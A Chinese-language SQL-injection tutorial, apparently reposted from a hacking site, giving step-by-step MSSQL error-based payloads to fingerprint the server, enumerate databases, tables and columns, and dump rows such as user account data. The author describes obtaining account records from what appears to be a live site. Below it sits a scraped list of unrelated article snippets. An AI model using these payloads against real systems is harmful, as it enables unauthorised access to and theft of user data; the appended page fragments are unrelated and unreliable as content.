明明是sql注入的点,却无法进行注入,注射工具拆解的速度异常的缓慢,错误提示信息关闭,无法返回注入的结果,这个时候你便可以尝试使用反弹注入,

反弹注入需要依赖于函数opendatasource的支持,将当前数据库中的查询结果发送到另一数据库服务器中。

判断数据库类型

and exists (select * from sysobjects)--返回正常为mssql(也名sql server)
and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈

判断数据库版本

and 1=@@version--这个语句要在有回显的模式下才可以哦
and substring((select @@version),22,4)='2008'--适用于无回显模式,后面的2008就是数据库版本,返回正常就是2008的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是2008的话就返回正常)

获取所有数据库的个数

1. and 1=(select quotename(count(name)) from master..sysdatabases)--
2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
3. and 1=(select str(coun、 and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)--
and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --
and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --
说明:dbid从1-4的数据库一般为系统数据库.

获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)

and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

获取当前数据库

and db_name()>0

and 1=(select db_name())--

获取当前数据库中的表(有2个语句可供选择使用)

【下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)】

and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--复制代码测试效果图:得到 3个敏感的表:Whir_Sec_Users/Whir_Mem_Member/Whir_Mem_MemberGroup

获得表里的列

一次爆指定表的所有列(只限于mssql2005及以上版本):
and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

效果图:既然有账户信息,我就不管是不是管理员的的了,我帖子的目的不是为了得到管理员的信息,只是为了演示可以通过这个方法来获取相关信息。

获取指定数据库中的表的列的数据库

逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):
and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--
一次性爆N条所有字段的数据(只限于mssql2005及以上版本):
and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--复制代码第一条语句:and 1=(select top 1 * from 指定数据库..指定表名 FOR XML PATH(''))--测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like '%user%' 就会筛选出含有user关键词的出来。用在筛选表段时很不错。

注意:在使用一次获取数据库信息的语句时,请使用火狐浏览器,笔者测试 IE8、360急速浏览器、猎豹浏览器均卡死,火狐浏览器也会导致出现几秒钟的卡死,弹出框框,我们点击“停止脚本”就会得到初步解决。!!!!!!!!!!!!!!!!!!!!至此,我们已经得到了账户信息了,至于管理员的呢,哈哈,大家自行测试时换表啥的就好了。

转载自:http://www.myhack58.com/Article/html/3/8/2015/63146.htm

MSSQL注入--反弹注入的更多相关文章

  1. MSSQL注入:显错注入及反弹注入

    前言: MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路. MSSQL的显错注入操作: 以联合查询为例: 猜 ...

  2. MSSQL显错注入爆数字型数据的一点思考

    Title:MSSQL显错注入爆数字型数据的一点思考 --2011-02-22 15:23 MSSQL+ASP 最近在弄个站点,密码是纯数字的,convert(int,())转换出来不报错,也不知道其 ...

  3. ASP.NET Core依赖注入——依赖注入最佳实践

    在这篇文章中,我们将深入研究.NET Core和ASP.NET Core MVC中的依赖注入,将介绍几乎所有可能的选项,依赖注入是ASP.Net Core的核心,我将分享在ASP.Net Core应用 ...

  4. 常见注入手法第四讲,SetWindowsHookEx全局钩子注入.以及注入QQ32位实战.

    常见注入手法第四讲,SetWindowsHookEx全局钩子注入.以及注入QQ32位实战. PS:上面是操作.最后是原理 一丶需要了解的API 使用全局钩子注入.我们需要了解几个WindowsAPI. ...

  5. spring注入 属性注入 构造器注入 set方法注入

    spring注入 属性注入 构造器注入 set方法注入(外部bean注入)

  6. Spring属性注入、构造方法注入、工厂注入以及注入参数(转)

    Spring 是一个开源框架. Spring 为简化企业级应用开发而生(对比EJB2.0来说). 使用 Spring 可以使简单的 JavaBean 实现以前只有 EJB 才能实现的功能.Spring ...

  7. ASP.NET Core 依赖注入(构造函数注入,属性注入等)

    原文:ASP.NET Core 依赖注入(构造函数注入,属性注入等) 如果你不熟悉ASP.NET Core依赖注入,先阅读文章: 在ASP.NET Core中使用依赖注入   构造函数注入 构造函数注 ...

  8. ASPNETCOREAPI 跨域处理 SQL 语句拼接 多条件分页查询 ASPNET CORE 核心 通过依赖注入(注入服务)

    ASPNETCOREAPI 跨域处理 AspNetCoreApi 跨域处理 如果咱们有处理过MV5 跨域问题这个问题也不大. (1)为什么会出现跨域问题:  浏览器安全限制了前端脚本跨站点的访问资源, ...

  9. Sql注入之注入点类型和是否存在注入判断

    SQL注入之判断注入类型注入类型分为数字型和字符型和搜索型例如数字型语句:select * from table where id =3,则字符型如下:select * from table wher ...

随机推荐

  1. 清北学堂提高组突破营游记day6

    还有一天就结束了..QWQ 好快啊. 昨天没讲完的博弈论DP: 一个标准的博弈论dp,一般问的是是否先手赢. 博弈论最关键的问题:dp过程. 对于一个问题,一定有很多状态,每个状态可以转移到其他的一些 ...

  2. 【学习】025 RocketMQ

    RocketMQ概述 RocketMQ 是一款分布式.队列模型的消息中间件,具有以下特点: 能够保证严格的消息顺序 提供丰富的消息拉取模式 高效的订阅者水平扩展能力 实时的消息订阅机制 亿级消息堆积能 ...

  3. [易学易懂系列|rustlang语言|零基础|快速入门|(13)|Generics泛型]

    [易学易懂系列|rustlang语言|零基础|快速入门|(13)] 有意思的基础知识 Generics泛型 我们今天来看看泛型. 什么是泛型? 我们来看看这样的情景: 我们要写一个函数,这个函数可以处 ...

  4. HYSBZ-4033-树上染色(树上DP)

    链接: https://vjudge.net/problem/HYSBZ-4033 题意: 有一棵点数为N的树,树边有边权.给你一个在0~N之内的正整数K,你要在这棵树中选择K个点,将其染成黑色,并 ...

  5. 网络吞吐量(network)

    题目 分析 过一遍spfa,把从点1到其他每一个点的最短路求出来, 接着递归把所有最短路径上的路径保留,其他的删掉. 对于保留的路径作为网络流的边,流量为无穷大,对于每个点拆点两个点之间的流量为吞吐量 ...

  6. 恩友歌 What a friend we've found 歌词

      Verse 1   何等恩友仁慈救主 负我罪孽担我忧 何等权利能将万事 来到耶稣座前求 多少平安我们坐失 多少痛苦冤枉受 都是因为未将万事 来到耶稣座前求     Verse 2   我们有无试探 ...

  7. Harmonic Number (II)

    Harmonic Number (II)   PDF (English) Statistics Forum Time Limit: 3 second(s) Memory Limit: 32 MB I ...

  8. Json-lib 的学习笔记

    json 按照我的理解来说,就是一个字串表,可以用来表示对象的字符串,也可以用来表示数组.它比 xml 文件节省了很多标签的内容. 关于什么是 json,在这里我们就不过多介绍了. Json-lib ...

  9. lianjie3

    http://7xj7xs.com1.z0.glb.clouddn.com/xiao-chengxu.mp4

  10. linux下插入U盘自动挂载后,用C获取其挂载点(cat /proc/mounts)

    现在已经能够通过libudev获取U盘插入时它的节点名(通过函数udev_device_get_devnode()),是/dev/sdb1 我现在的做法是读取/proc/mounts文件,找到有/de ...